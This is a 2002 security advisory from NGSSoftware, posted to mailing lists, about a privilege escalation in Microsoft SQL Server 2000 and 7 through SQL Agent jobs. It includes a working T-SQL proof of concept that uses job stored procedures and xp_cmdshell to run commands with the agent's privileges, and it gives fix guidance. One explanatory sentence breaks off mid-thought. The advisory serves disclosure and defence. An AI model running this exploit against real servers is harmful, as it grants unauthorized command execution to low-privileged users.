[VulnWatch] Microsoft SQL Server Agent Jobs Vulnerabilities (#NISR15002002B)

From: David Litchfield (david@ngssoftware.com)
Date: 08/16/02

From: "David Litchfield" <david@ngssoftware.com>
To: <bugtraq@securityfocus.com>, <vulnwatch@vulnwatch.org>, <ntbugtraq@listserv.ntbugtraq.com>
Date: Fri, 16 Aug 2002 04:14:04 +0100

NGSSoftware Insight Security Research Advisory

Name: SQL Agent Jobs
Systems: Microsoft SQL Server 2000 and 7
Severity: High Risk
Category: Privilege Escalation
Vendor URL: http://www.microsoft.com/
Author: David Litchfield (david@ngssoftware.com)
Advisory URL: http://www.ngssoftware.com/advisories/mssql-esppu.txt
Date: 15th August 2002
Advisory number: #NISR15002002B

With Microsoft SQL Server 2000 and 7 comes a "helper" service, the SQL
Server agent. The Agent is responsible for restarting the database service
if it stops for some reason, has a role to play in replication and runs
scheduled jobs. As the public role can submit jobs to the SQL Agent to be
executed a low privileged user may use this to gain control of the server.

The 'Public' role is allowed to create and submit jobs to be executed by the
SQL Agent. To do this one would use a combination of several stored
procedures in the msdb database such as sp_add_job and sp_add_job_step, etc.
As the SQL Agent is considerably more privileged than a simple login, often
running in the security context of the local system account, it must ensure
that, when a T-SQL job is submitted to it, it can't be abused. To defend
against this is performs a


This effectively drops its high level of privileges so no low privileged
login can submit something like

exec master..xp_cmdshell 'dir'

However, this can be trivially bypassed by causing the SQL Agent to
reconnect after it's dropped its privileges. They can use one of the
vulnerable extended stored procedures discussed in the NGSSoftware Alert
NISR15002002A (http://www.ngssoftware.com/advisories/mssql-esppu.txt).

Proof of Concept

-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice

-- David Litchfield
-- (david@ngssoftware.com)
-- 18th July 2002

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL', @enabled = 1, @description = 'This will give a low privileged user access to xp_cmdshell', @delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL', @step_name = 'Exec my sql', @subsystem = 'TSQL', @command = 'exec master..xp_execresultset N''select ''''exec master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL', @server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'GetSystemOnSQL'

Fix Information *************** NGSSoftware informed Microsoft of these issues in July. To prevent low privileged users from submitting jobs one should disallow public access to the Job related stored procedures in the MSDB database particularly

sp_add_job sp_add_jobstep sp_add_jobserver sp_start_job

Further Microsoft has released a patch that fixes several extended stored procedure vulnerabilities that can be used in conjuction with a job to gain extra privileges.

Please see http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/ bulletin/MS02-042.asp for more details.